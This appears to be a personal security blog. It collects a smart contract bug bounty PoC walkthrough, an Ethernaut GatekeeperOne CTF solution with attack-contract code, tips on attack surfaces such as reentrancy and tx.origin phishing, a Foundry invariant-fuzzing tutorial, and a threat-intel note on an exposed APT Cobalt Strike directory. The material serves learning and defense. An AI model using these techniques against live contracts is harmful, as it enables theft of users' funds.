Creating a PoC for Smart Contract Bug Bounties

After gaining some practice hacking smart contract on ethernaut, it’s time to try hacking on a real bug bounty program. In this post I’ll walk through my process.

1 - Identify a bounty program

The first thing that must be done is picking a bug bounty program. Head over to Immunify and pick a random program that you’d like to hunt.

Scroll down to ‘Assets in Scope’ and you’ll find a number of etherscan addresses.

In this post I’ll be testing the ondofinance bounty program

2 - Prepare the development environment

As discussed in other blog posts, we want to do our testing either locally or via mainnet fork. Testing locally works for simple projects but sometimes there’s problems compiling and configuring everything if a project uses, say, hardhat, but we want to use brownie.

We’ll create a new brownie project manually by copying our Ethernaut project files to a new directory.

  • Ethernaut project is available on my GitHub

3 - Audit

At this point I want to begin the discovery and recon phase where we try to identify interesting, or vulnerable functionality of the smart contracts. The scope of the bounty includes several etherscan addresses - for our purposes we’ll choose the first one and start reading the source code on etherscan.

In this guide we won’t go into hacking smart contracts via bytecode (symbolic analysis), though it can be done. When etherscan publishes the solidity source code, this means the ABI is available for us to use, which contains all of the read and write functions/variables that we care about. For now we only want to audit smart contracts that have the source (ABI) published.

Tools

Slither

Top of the list is going to be slither which will scan for common vulnerabilities. It interprets solidity code and converts it into an intermediate language, which is then used to perform vulnerability checks. There will be false positives, there will be results that we don’t care about. Being an effective analyst is all about evaluating the results.

slither 0x2BB8de958134AFd7543d4063CaFAD0b7c6de08BC

As simple as that, slither will scan the smart contract files that are associated with the address using etherscan.

Phalcon

Sam’s Transaction Viewer

Tenderly

EVM Bytecode Decompiler

https://library.dedaub.com/decompile

Asset Flow

https://metasleuth.io/result/eth/0x6bfd9e286e37061ed279e4f139fbc03c8bd707a2cdd15f7260549052cbba79b7

  • Like Phantom but can be better flow chart

VSCode

Solidity Metrics

https://marketplace.visualstudio.com/items?itemName=tintinweb.solidity-metrics

Solidity Visual Developer

https://marketplace.visualstudio.com/items?itemName=tintinweb.solidity-visual-auditor

Inline Bookmarks

https://marketplace.visualstudio.com/items?itemName=tintinweb.vscode-inline-bookmarks

Static Analysis

Fuzzing

Findings

Let’s look at a snippet of the slither output

1
TrancheToken (contracts/TrancheToken.sol#16-120) is an upgradeable contract that does not protect its initiliaze functions: TrancheToken.initialize(uint256,string,string,address) (contracts/TrancheToken.sol#33-43). Anyone can delete the contract with: TrancheToken.destroy(address) (contracts/TrancheToken.sol#94-101)Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#unprotected-upgradeable-contract

Notice that the slither output will be color coded, I assume based on the level of severity for each respective finding.

Looking at this snippet we can see that the tool identified a destroy() function that anyone can call. Interesting - lets investigate whether that’s true.

Solidity Analysis

Going back to the etherscan page, we can see that there’s a file named TrancheToken.sol which is what slither was complaining about.
There were multiple files within the etherscan link though, and only one of them is the “main” file. In this case the Contract Name, shown at the top of the etherscan page, is AllPairVault.

Below is a snippet of that file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.3;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
//<other imports>

/**
* @title A container for all Vaults
* <Other information etc etc>*
*/
contract AllPairVault is OndoRegistryClient, IPairVault {
using OLib for OLib.Investor;
using SafeERC20 for IERC20;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;

// <Other stuff within the file...>

address public immutable trancheTokenImpl;

// <Other stuff within the file...>

So here we see that the TancheToken that we are looking for is declared as an immutable address. This is how we can access the TancheToken instance. Instead of manually looking for the public or external keyword within the code, you could have also selected the “Read” and “Write” buttons on etherscan to see what’s available for use.

Exploitation

Within our brownie project I created the following function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def ondofinance():

account = get_account()

ondoInstanceAddress = config["networks"][network.show_active()][f"ondo_first_address"]
with open("./AllPairVault.json") as f:
info_json = json.load(f)

abi = info_json["result"]

w3 = Web3(Web3.HTTPProvider(f"https://mainnet.infura.io/v3/{os.getenv('WEB3_INFURA_PROJECT_ID')}"))
print(f"Connected? {w3.isConnected()}")
ondo = w3.eth.contract(address=ondoInstanceAddress, abi=abi)

trancheToken=ondo.functions.trancheTokenImpl().call()

print('trancheToken :', trancheToken)

with open("./TrancheToken.json") as f:
abi2 = json.load(f)


tranche = w3.eth.contract(address=trancheToken, abi=abi2)
tranche.functions.initialize(0, "test", "test", ondoInstanceAddress).call({'from':account.address})

This is different than how solidity classes are instantiated with brownie since we’re not using the contract interfaces within the project. Web3.py can be used to interact with existing contracts using only the address and ABI. There’s a lot to dissect here so I will explain each piece.

  1. get_account fetches the account
  2. within our config we’ve identified the address of the etherscan address specified in the bounty program. this gets defined as ondoInstanceAddress.

Next I headed over to etherscan and scrolled down the page until I reached a textbox containing the ABI. After saving that ABI to disk, I named the file AllPairVault.json

  1. the ABI json file gets parsed.
  2. the web3 python library initializes the provider, which uses my environment variable containing my infura project ID.
  3. provider is confirmed as connected
  4. now that the ABI has been parsed and we have the smart contract address, we create the contract object

Now that we know where the TrancheToken instance is defined, lets grab it.

  1. the TrancheToken instance address is saved as trancheToken

At this point we need to initialize the TrancheToken class finally. Again we’ll grab the ABI from etherscan, save the JSON to disk, and reference that.

  1. the TrancheToken ABI is saved as abi2
  2. the address that we discovered, and the abi, are used to create a contract object

Now we could try to call the initialize function that slither mentioned to us

  1. intialize is called using random parameters.
    • Remember that address checksums get checked for validity, so you must pass a real address otherwise solidity will interpret it as a string. Here I’m using the ondoInstanceAddress but any address could be used.

Finally we can test it out. We want to do our testing using a fork of mainnet, so I call the script like this:
brownie run scripts/deploy.py --network mainnet-fork-dev which will use my fork.

  • My github has context on how to set this up in your local environment.

So can we call initialize ?

1
ContractLogicError: execution reverted: Initializable: contract is already initialized

Nope! We can’t. Looking back at the original finding, slither said:

Anyone can delete the contract with: TrancheToken.destroy(address)

Maybe we can call it! Let’s try by replacing the last line:

1
tranche.functions.destroy(account.address).call({'from':account.address})

Kicking off the script again, we get the following output:
ContractLogicError: execution reverted: Invalid access: Only Registry can call

It didn’t work, but that’s ok - there’s lots of other tests that we’ll create when auditing smart contracts and this is just the first of many.
What’s important is that we understand the methodology of basic solidity testing.

Videos

Secureum and ethernaut content
https://youtu.be/b6zEWJwMcGc?t=300

Andy Li - code4rena and real hunting
https://www.youtube.com/watch?v=nVucSDlcDFE

Audit Reports

yAcademy

https://reports.yacademy.dev

Ethernaut Challenge 13 - GateKeeper One

This is my writeup of Ethernaut challenge #13. Ethernaut is a smart contract hacking CTF meant to test your ability at exploiting Ethereum smart contracts. I completed all of the challenges but this is the only one I wrote up. For a complete set of solutions I created using the now deprecated Python Brownie framework, see them at the following link:

Description & Original Code

GatekeeperOne is a smart contract challenge where requirements must be satisfied through multiple checks. If each requirement (or gate) can be bypassed, the challenge is completed.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract GatekeeperOne {

using SafeMath for uint256;
address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
require(gasleft().mod(8191) == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

Pass Gate 1

We learned about tx.origin in Ethernaut challenge #4 (Telephone). This requirement can be achieved by using an attack contract, which will be used as the msg.sender, while tx.origin will be our original wallet.

Pass Gate 2

This gate checks that the amount of gas left is divisible by 8191.

I don’t like javascript so I’ve tried to stick with brownie/python as my development framework which controls solidity. However, remix is really great for solidity dev and debugging.

  • The remix debugger displays the amount of gas and remaining gas.
  • Different Solidity compiler versions will calculate gas differently. And whether or not optimization is enabled will also affect gas usage

Go read the Pass Gate 3 section, then keep reading

Within the attack contract, we add this function:

1
2
3
4
5
6
function enter() public returns(bool) {
bytes memory payload = abi.encodeWithSignature("enter(bytes8)", key);
(bool success,) = victim.call.gas(9999)(payload);
require(success, "failed somewhere...");
return success;
}

We’re using 9999 as a random guess that we’ll use to calculate offsets.

Deploy GateKeeperOne and AttackGateKeeperOne. Call enter() and debug.

Here we’re debugging on line 17 and we can see our remaining gas within the “Step details” menu is 9756.

Remix Debugger

We need our remaining gas to be divisible by 8191…

9999 - 9756 = 243 This is the amount of gas used to get to the gateTwo check
8191 + 243 = 8434 This is the initial gas required to have remaining gas = 8191 at the gateTwo check

We came to 8434 within our debugger but this might not always be the case. This is something specific to the compiler, flags, and other EVM settings. The following function (within our attacker contract) allows us to “spray” function call attempts using .call which won’t cause a revert. Here we’ll scan within 120 units of our gas estimate.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function enter() public returns(bool) {

bytes memory payload = abi.encodeWithSignature("enter(bytes8)", key);

uint approximateGasTarget = 243;
uint padding = 60;

// now we will use .call to specify different gasses. call will not generate reverts
// gas offset usually comes in around 243, give a buffer of 60 on each side
for (uint256 i = 0; i < padding*2; i++) {
(bool result, bytes memory data) = victim.call.gas(
i + (approximateGasTarget-padding) + 8191 * 3
)(
payload
);
if(result)
{
break;
}
}
}

Pass Gate 3

Original:

1
2
3
4
5
6
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");

require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");

require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");

Just like math equations we can cancel out the casts that exist on both sides to simplify:

  • Note that uint32( uint64(key) ) == uint32(key) because it basically undoes the operation
1
2
3
4
5
require(uint32(_gateKey) == uint16(_gateKey));

require(uint32(_gateKey) != uint64(_gateKey));

require(uint32(_gateKey) == uint16(tx.origin));
Check 1

For the checks, let’s visualize the two variables by starting off with all the bits being available for bitwise operations (set to 1).

uint32 uint16
0x11111111 == 0x1111

We want these to be equal. That can be achieved by turning the 4th left-most bytes of the uint32 to 0.

Mask: 0x0000FFFF

Check 2

Since we know what mask we need for check one, we’ll start off with that (in binary form).
Var A stays the same as the mask because those are the only bytes available.
Var B gets prepended with 8 bytes (1’s) because there are 8 extra bytes that we want available for bitwise operations.

uint32 (A) uint64 (B)
0x00001111 != 0x1111111100001111

We want these vars to NOT be equal. If the 8 left-most bytes (1’s) of var B don’t get accounted for, the results will always be equal. Therefore we must account for those bytes by setting them to 1.

Mask: 0xFFFFFFFF0000FFFF

Check 3

We need the key’s first 16 bytes to contain the tx.origin
However in reality the key is only 8 bytes so we can AND our mask with the 8-byte version of tx.origin to get the final key.

1
bytes8 key = bytes8(tx.origin) & 0xFFFFFFFF0000FFFF;

This didn’t compile on solidity 0.6.0. After googling, I found that this is equivalient:

1
key = bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF;

Conclusion

This was a great challenge for learning how to approach satisfying multiple requirements within solidity. Ultimately critical vulnerabilities are often a chain of condition bypasses so this gives us some helpful context. I completed this challenge by coding the runtime execution in python which is available in my GitHub.


References:
https://medium.com/coinmonks/ethernaut-lvl-13-gatekeeper-1-walkthrough-how-to-calculate-smart-contract-gas-consumption-and-eb4b042d3009

Smart Contract Security

Pentesting Strategy

When hunting for vulnerabilities in the real world (on mainnet), we don’t want to spend real money when messing around with smart contract calls. Forking is a helpful technique that allows us to pretend we’re on testing mainnet like a sandbox.

Networks

Ethereum contains different networks that you can connect to. There are 4 networks that we care about:

  1. Mainnet
    • The real ethereum network that is online and is used for financial exchange and production use.
  2. Testnet
    • A decentralized blockchain that is online and is used for testing.
    • Testnet examples:
      • Rinkeby
      • Ropstein
  3. Fork
    • A copy of the mainnet/testnet being proxied into our local testing environment. We can unlock and control any wallets as if we had the private key.
    • This is useful if we want to interact with a smart contract in its current state, instead of recreating that state manually via local deployment.
  4. Local
    • Our local debugging environment. There’s a useful tool named ganache that can provide us a local blockchain.
    • To test locally:
      • Copy the solidity code to the local project
      • Deploy the smart contract to ganache
      • Recreate the state of the VM (sometimes)
        • Ex) A CTF challenge, the EVM is initialized and your account is given 20 tokens that you must use to hack the smart contract somehow. Instead of forking we can deploy locally, then deposit 20 tokens into our account manually.
Smart Contract Attack Surfaces & Tips
  1. Data within smart contracts (global vars) are not private. The EVM bytecode is published on the blockchain and there are simple ways to obtain private variables.
    • There’s a way to read any variable within the contract based on its slot index
  2. When money is sent to a smart contact without specifying a function name, this triggers the fallback function which is represented as fallback() or receive().
    • Vulnerable contracts may send money to your contract address in this way.
      • If this occurs and conditions are not checked before, this can be exploited.
        • Ex) A vulnerable contract with a withdraw() function may send the user’s funds BEFORE decrementing their balance
        • This is what’s known as a Re-entrancy attack (recursion)
    • When transfering funds, you must remember:
      • The recipient isn’t always an externally owned account (a wallet). It may be a smart contract, which will run code when the transfer is confirmed.
      • If an attacker contract’s fallback function is triggered, it may break things by reverting
  3. Modifiers are really important. They determine what functions you can leverage.
    • Ex) function isLastFloor(uint) external returns(bool);
      • This interface can be used for both reading and modifying data within the contract.
      • The view function modifier on interfaces can prevent state changes from occurring
  4. Composition can be used for working within the same block as the victim contract
    • Deploy an attack contact and pass the victim contract address as the constructor parameter so that calls can be made from the attack contract to the victim contract.
    • If “randomness” is computed based on block-related attributes, these results can be recreated within the attack contract. The only secure way to provide pseudo-randomness is using oracles.
  5. There is a difference between tx.origin and msg.sender that allows phishing attacks.
    • By convincing a victim to send funds to an attacker contract, the fallback function can be triggered - if a victim contract (e.g. victim’s bank) is then called, the tx.origin will be the victim and msg.sender will be the attacker.
    • tx.origin should never be used to authenticate identity
    • tx.origin should never be used to determine whose tokens to transfer
  6. Solidity has underflows and underflows.
    • Safe math libraries are built-in after 0.6.0 (TODO: double check this)
    • Earlier solidity versions must import SafeMath
  7. delegatecall is a way to call arbitrary functions in a contract or library.
    • This should never be in a fallback function!
    • It allows the attacker to call whatever function they want in the contract specified.
      1
      2
      3
      4
      5
      6
      fallback() external {
      (bool result,) = address(delegate).delegatecall(msg.data);
      if (result) {
      this;
      }
      }
  8. Even if a contract doesn’t mark their fallback as payable, there’s still a special way to send it money.
    • selfdestruct(_address); can be used by an attack contract to force a payment.
      • In this case the attacker function would be function attack(address _address) payable public
    • It’s important not to count on the invariant address(this).balance == 0 for any contract logic
  9. When doing type conversions (casting) it’s usually easier do it within an attacker contract.
  10. Bitwise operations are painful but elegant, and will help with smart contract hacking.
    • A ^ B = C then A ^ C = B
  11. extcodesize(caller()) is the .text section (opcodes, code instructions) size of the caller - You can hide the size of your attack contract by doing everything in the constructor
  12. For ERC-20 tokens there’s two ways to transfer funds:
    1. function transfer(address _to, uint256 _value) public
    2. function transferFrom(address _from, address _to, uint256 _value) public
      1. The approve(address _toBeApproved, _value) public function must be called first before transferFrom(toBeApproved, 100000000) will work

Invariants & Fuzzing

When I first started to learn blockchain and smart contract security in 2021 there wasn’t much learning curriculum freely available online. There were some CTFs like Ethernaut with helpful writeups, but they were mostly in the same test suite (hardhat) and lacked the general context of how this type of bug hunting theory applied to live protocols. Also, JavaScript is lame.

Jumping now to December of 2023, there’s so many freely available resources that you can even just watch videos. I don’t always have the discipline to keep digging into really weird complicated stuff like this but I’ve been watching videos and have been blown away by the quality of training resources provided by Patrick Collins and Owen Thurm.

My top blockchain security learning resource for 2024:

I got to the TSwap section of the Cyfrin course and Patrick mentioned that he plans to redo the stateful fuzzing section because he thought he explained it poorly. I disagree, but I wanted to do a deep dive myself and maybe this can help others.

Testing and Verification Approaches

First, know that this page from the Cyfrin course thoroughly describes these concepts much better.

When it comes to testing smart contracts, there’s basically 4 approaches that can be used to assert the validity of various states of a smart contract. From least to most confident, the scale is Stateless fuzzing -> Open Stateful fuzzing -> Handler Stateful fuzzing -> Formal Verification.

  • Stateless Fuzzing:
    • Testing approach using random inputs.
    • A basic function fuzzer
    • Helps identify input related edge cases, but it “forgets” the state of the contract with every fuzz attempt.
  • Open Stateful Fuzzing:
    • Expands on Stateless fuzzing by considering the contract’s internal state.
    • Includes a setUp function to initiate things properly
    • Test inputs are generated and executed in a stateful manner.
    • Basically it will call multiple functions to try to break the invariant we define. It’ll try crazy stuff in crazy orders though, so you might need a super computer if there’s a lot to fuzz.
  • Handler Stateful Fuzzing:
    • Expands on Stateful fuzzing but reduces what the fuzzer will do.
    • Way more setup with foundry
    • Orchestrates interactions with the contract using foundry.
      • Ex) Instead of modifying the contract we’re interacting with to include a valueBefore variable, we instead define it in our handler which avoids changing the original code.
    • Defines which functions and inputs should be fuzzed, which helps reduce the scope of what the fuzzer will try. This is done through something called selectors.
  • Formal Verification:
    • Using math to prove the correctness of a smart contract.
    • Hard to do.

      Stateless vs Stateful Fuzzing

To explain further:

  1. Stateless Fuzzing (AKA Fuzzing in Foundry natively, basic function fuzzer)
    • Tries random data
    • Easier to instrument
  2. Stateful Fuzzing (Invariant testing)
    • Tries random data in random order
    • Harder to instrument

With these pros and cons in mind, the Cyfrin course explains how the famous security researcher “Tincho” found a critical vulnerability in the Euler protocol by creating and instrumenting a stateful test suite, and used it to identify a codepath violating the invariant, or the expected results of the protocol.

Codebase Review

Let’s look at this source code example first.

1
2
3
4
src/invariant-break/

├── HandlerStatefulFuzzCatches.sol
├── StatefulFuzzCatches.sol

Looking at HandlerStatefulFuzzCatches.sol appears to be a typical ERC20 with a depositToken and withdrawToken function implemented

StatefulFuzzCatches.sol, on the other hand, is a contract that does some math and storage.
This is the codepath that we want the fuzzer to eventually hit.

The Handler

For stateful invariant testing there’s basically two pieces we’re going to use to instrument our protocols:

  1. Handler
  2. Target contract (aka the Invariant)

They’re both kinda instrumenting the code, but in different ways, and they connect together. This might seem confusing but this part is actually pretty straight forward. The part where you lose everyone isn’t really the solidity background and setup, it’s more around understanding how to apply financial math theory to these types of stateful tests.

The handler you can think of as mostly boilerplate code. It’s a way to overload functionality without modifying the src code. We’ll use both 1 and 2 (above) as templates and modify them when creating future invariant tests, but 1 will require less modification.

For our handler example, we’re instrumenting a protocol that has two pools:

  1. YieldERC20
    • This is an example of a “weird ERC20”, which you can search on solodit, which is an attack surface that we can hunt for in the future. Lots of protocols have strange issues within contracts that inherit ERC20.
  2. MockUSDC
    • People deposit USDC as collateral, they then mint and receive however many YieldERC20 tokens in exchange, and then they can use them to withdraw.

Again, this is a pretty typical ERC20 two LP protocol, so in the future if we’re writing our own handler for another ERC20 contract, this will only require a few modifications here and there.

How not to write an invariant test

For this first example I want to show how not to write these invariant tests.
In this InvariantFail.t.sol example let’s first talk about the statefulFuzz_testInvariantBreakFail lines that are commented, which is a function that, since this is a stateful test, will be fuzzed in random order in conjunction with the other testInvariantBreakHard function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// // Well this doesn't work...
// // cuz there are too many possible inputs! We need to narrow down the inputs with a handler
// // Uncomment this to run it because it'll break tests
// function statefulFuzz_testInvariantBreakFail() public {
// vm.startPrank(owner);
// handlerStatefulFuzzCatches.withdrawToken(mockUSDC);
// handlerStatefulFuzzCatches.withdrawToken(yeildERC20);
// vm.stopPrank();

// assert(mockUSDC.balanceOf(address(handlerStatefulFuzzCatches)) == 0);
// assert(yeildERC20.balanceOf(address(handlerStatefulFuzzCatches)) == 0);
// assert(mockUSDC.balanceOf(owner) == startingAmount);
// assert(yeildERC20.balanceOf(owner) == startingAmount);
// }

and the second part

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// Our fuzz test won't catch it...
// All our withdraws should work
// And our fuzz test doesn't catch it... Hmm....abi
// Let's try stateful fuzzing
function testInvariantBreakHard(uint256 randomAmount) public {
vm.assume(randomAmount < startingAmount);
vm.startPrank(owner);
// Deposit some yeildERC20
yeildERC20.approve(address(handlerStatefulFuzzCatches), randomAmount);
handlerStatefulFuzzCatches.depositToken(yeildERC20, randomAmount);
// Withdraw some yeildERC20
handlerStatefulFuzzCatches.withdrawToken(yeildERC20);
// Deposit some mockUSDC
mockUSDC.approve(address(handlerStatefulFuzzCatches), randomAmount);
handlerStatefulFuzzCatches.depositToken(mockUSDC, randomAmount);
// Withdraw some mockUSDC
handlerStatefulFuzzCatches.withdrawToken(mockUSDC);
vm.stopPrank();

assert(mockUSDC.balanceOf(address(handlerStatefulFuzzCatches)) == 0);
assert(yeildERC20.balanceOf(address(handlerStatefulFuzzCatches)) == 0);
assert(mockUSDC.balanceOf(owner) == startingAmount);
assert(yeildERC20.balanceOf(owner) == startingAmount);
}

By the time this test runs we’ve already done the basic contract setup with foundry cheat codes.
These functions are following the right general idea, but there’s way too many possible inputs and codepaths that the fuzzer could instrument. This could maybe work with a supercomputer, but we don’t have that, so we’re going to use Foundry’s targetSelector and FuzzSelector to instrument our testing with more granularity. We want randomness, but only regarding parameters and functions that can be defined using these selectors.

Invariant Testing the Correct Way

There’s these things called selectors. It’s just an arbitrary solidity design pattern that we use as a template/example in the future. This, with a proper setup, is a better way to instrument the contract, like telling it “We only care about these 2 supported tokens, and these are the 3 functions we want used for fuzzing”:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
function setUp() public {
vm.startPrank(owner);
// Give our owner 1M tokens each
yeildERC20 = new YeildERC20();
startingAmount = yeildERC20.INITIAL_SUPPLY();
mockUSDC = new MockUSDC();
mockUSDC.mint(owner, startingAmount);

supportedTokens.push(mockUSDC);
supportedTokens.push(yeildERC20);
handlerStatefulFuzzCatches = new HandlerStatefulFuzzCatches(supportedTokens);
vm.stopPrank();

handler = new Handler(handlerStatefulFuzzCatches, yeildERC20, mockUSDC);

bytes4[] memory selectors = new bytes4[](3);
selectors[0] = handler.depositYeildERC20.selector;
selectors[1] = handler.withdrawYeildERC20.selector;
selectors[2] = handler.withdrawMockUSDC.selector;

targetSelector(FuzzSelector({addr: address(handler), selectors: selectors}));
targetContract(address(handler));
}

// // THIS however, catches our bug!!!
// function statefulFuzz_testInvariantBreakHandler() public {
// vm.startPrank(owner);
// handlerStatefulFuzzCatches.withdrawToken(mockUSDC);
// handlerStatefulFuzzCatches.withdrawToken(yeildERC20);
// vm.stopPrank();

// assert(mockUSDC.balanceOf(address(handlerStatefulFuzzCatches)) == 0);
// assert(yeildERC20.balanceOf(address(handlerStatefulFuzzCatches)) == 0);
// assert(mockUSDC.balanceOf(owner) == startingAmount);
// assert(yeildERC20.balanceOf(owner) == startingAmount);
// }
}

The commented function statefulFuzz_testInvariantBreakHandler() above is the solution which breaks the invariant. I’ll explain what these functions do:

  • setUp()
    • Give our owner 1M tokens
      • Instantiate new YieldERC20 & MockUSDC contracts
      • Mint 1M tokens to the owner
    • Connect the handler and selectors
      • Instantiate a new handler, passing the supported tokens.
      • Define the selectors to be the handler’s supported tokens and then call targetContract and targetSelector to connect the components together
      • It’s worth noting that depositYeildERC20, withdrawYeildERC20, withdrawMockUSDC are all defined within test/Handler.t.sol which is some more foundry stuff instrumenting the basic deposit/withdraw functionality (which includes calls to prank, approve etc).
  • statefulFuzz_testInvariantBreakHandler()
    • Since we’ve connected the mockUSDC and yieldERC20 objects to our test suite, we can pass them around and kinda pretend that their state is indeterminate. Ultimately we want to break the invariant, which in this case can be defined as the following statements:
      • “Once the owner withdraws all their USDC and YieldERC20 tokens, their balances should be zero”
      • “Additionally, after, everything should be in its original state (the owner’s tokens should have the original starting amounts)”.
      • We then use an assert to define these invariants, and the test suite will do its magic to try to break those assertions.

T-Swap

As explained in the Cyfrin course, “T-Swap is known as an Automated Market Maker (AMM) because it doesn’t use a normal “order book” style exchange, instead it uses “Pools” of an asset. It is similar to Uniswap.”

The T-Swap protocol is explained in detail within this README.

Invariant

With T-Swap, this is a good example because the invariant can be defined with math:

  • x = Token Balance X
  • y = Token Balance Y
  • k = The constant ratio between X & Y

This looks kinda insane, and it is, but we have everything that we need (x, y, & k) to define the invariants:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
y = Token Balance Y
x = Token Balance X
x * y = k
x * y = (x + ∆x) * (y − ∆y)
∆x = Change of token balance X
∆y = Change of token balance Y
β = (∆y / y)
α = (∆x / x)

Final invariant equation without fees:
∆x = (β/(1-β)) * x
∆y = (α/(1+α)) * y

Invariant with fees
ρ = fee (between 0 & 1, aka a percentage)
γ = (1 - p) (pronounced gamma)
∆x = (β/(1-β)) * (1/γ) * x
∆y = (αγ/1+αγ) * y

Malaysian Government Breached By Chinese-speaking APT

Using a custom threat intelligence framework that I built, I identified that there was a small window of time, 6 minutes 32 seconds, in which a threat actor modified their C2 configuration, briefly exposing a directory listing which my tooling archived before the port was promptly closed. The content of this directory indicated that a Chinese-speaking actor breached one of the Malaysian Government’s VSphere instances, indicating a potentially significant compromise of their environment.

This is a quick writeup on another exposed directory listing that I identified when monitoring infrastructure suspected to be operated by an Advanced Persistent Threat (APT). Based on the available data this activity likely persisted between the dates 2021-05-27 - 2021-09-02 using windows and linux implants.

This host was fingerprinted as an active CobaltStrike Teamserver. At port 8080 the threat actor accidentally exposed a directory listing over HTTP for a short period of time, which my tooling was able to capture.

103.338.225.37:8080

Exposed Directory Listing

Directory Listing:

drwxr-xr-x  4 root root     4096 Dec 12 03:11 G1-Beta
drwxr-xr-x 2 root root 4096 Dec 12 03:11 old
-rw-r--r-- 1 root root 19665659 Dec 12 03:11 xxx.7z

Within G1-Beta there are Client and Generator folders containing the following:

G1-Beta/Client:

total 24584
-rw-r--r-- 1 root root 15096 Apr 12 2019 api-ms-win-crt-convert-l1-1-0.dll
-rw-r--r-- 1 root root 15608 Apr 12 2019 api-ms-win-crt-runtime-l1-1-0.dll
-rw-r--r-- 1 root root 17144 Apr 12 2019 api-ms-win-crt-stdio-l1-1-0.dll
-rw-r--r-- 1 root root 17352 Apr 12 2019 api-ms-win-crt-string-l1-1-0.dll
-rw-r--r-- 1 root root 13560 Apr 12 2019 api-ms-win-crt-time-l1-1-0.dll
-rw-r--r-- 1 root root 11512 Apr 12 2019 api-ms-win-crt-utility-l1-1-0.dll
drwxr-xr-x 2 root root 4096 Dec 12 03:13 certificate
-rw-r--r-- 1 root root 6320128 May 8 2021 G1.exe
drwxr-xr-x 4 root root 4096 Dec 12 03:13 Hosts
-rw-r--r-- 1 root root 2521600 Sep 23 2020 libcrypto-1_1.dll
-rw-r--r-- 1 root root 530944 Sep 23 2020 libssl-1_1.dll
-rw-r--r-- 1 root root 455328 Oct 4 2013 msvcp120.dll
-rw-r--r-- 1 root root 970912 Oct 4 2013 msvcr120.dll
drwxr-xr-x 2 root root 4096 Dec 12 03:13 platforms
drwxr-xr-x 4 root root 4096 Dec 12 03:13 plugin
-rw-r--r-- 1 root root 4670976 Apr 16 2012 Qt5Core.dll
-rw-r--r-- 1 root root 5011968 May 25 2016 Qt5Gui.dll
-rw-r--r-- 1 root root 4472320 May 25 2016 Qt5Widgets.dll
-rw-r--r-- 1 root root 80112 Nov 20 2018 vcruntime140.dll

G1-Beta/Generator:

total 21332
-rw-r--r-- 1 root root 6233088 May 8 2021 Generator.exe
-rw-r--r-- 1 root root 455328 Oct 4 2013 msvcp120.dll
-rw-r--r-- 1 root root 970912 Oct 4 2013 msvcr120.dll
drwxr-xr-x 4 root root 4096 Dec 12 03:13 Output
drwxr-xr-x 2 root root 4096 Dec 12 03:13 platforms
-rw-r--r-- 1 root root 4670976 Apr 16 2012 Qt5Core.dll
-rw-r--r-- 1 root root 5011968 May 25 2016 Qt5Gui.dll
-rw-r--r-- 1 root root 4472320 May 25 2016 Qt5Widgets.dll
-rw-r--r-- 1 root root 459 Feb 4 2021 使用说明.txt

Within xxx.7z there’s more interesting files.

Directory listing of xxx.7z:

total 53712
-rw-r--r-- 1 root root 167 Sep 2 11:58 269aa5960ef1bdc4
-rw-r--r-- 1 root root 15096 Apr 12 2019 api-ms-win-crt-convert-l1-1-0.dll
-rw-r--r-- 1 root root 15608 Apr 12 2019 api-ms-win-crt-runtime-l1-1-0.dll
-rw-r--r-- 1 root root 17144 Apr 12 2019 api-ms-win-crt-stdio-l1-1-0.dll
-rw-r--r-- 1 root root 17352 Apr 12 2019 api-ms-win-crt-string-l1-1-0.dll
-rw-r--r-- 1 root root 13560 Apr 12 2019 api-ms-win-crt-time-l1-1-0.dll
-rw-r--r-- 1 root root 11512 Apr 12 2019 api-ms-win-crt-utility-l1-1-0.dll
-rw-r--r-- 1 root root 9967 Apr 24 2019 cer.crt
drwx------ 2 root root 4096 Feb 23 2021 certificate
drwx------ 2 root root 4096 May 21 2021 Client
-rw-r--r-- 1 root root 56832 Dec 2 2020 CmdShell.exe
-rw-r--r-- 1 root root 40960 Dec 18 2020 CmdShell.pln
drwx------ 2 root root 4096 May 24 2021 Custom
drwx------ 2 root root 4096 Sep 2 11:53 Default
-rw-r--r-- 1 root root 142336 Dec 2 2020 DiskFile.exe
-rw-r--r-- 1 root root 68608 Dec 18 2020 DiskFile.pln
-rw-r--r-- 1 root root 198 May 27 2021 fed186c5a12922bc
drwx------ 2 root root 4096 Feb 23 2021 G1-Beta
-rw-r--r-- 1 root root 6320128 May 8 2021 G1.exe
drwx------ 2 root root 4096 May 21 2021 Generator
-rw-r--r-- 1 root root 6233088 May 8 2021 Generator.exe
drwx------ 2 root root 4096 May 24 2021 gov.my
-rw-r--r-- 1 root root 133472 May 24 2021 host_linux_x64.so
drwx------ 2 root root 4096 May 21 2021 Hosts
-rw-r--r-- 1 root root 234721 May 27 2021 host_win_x64.exe
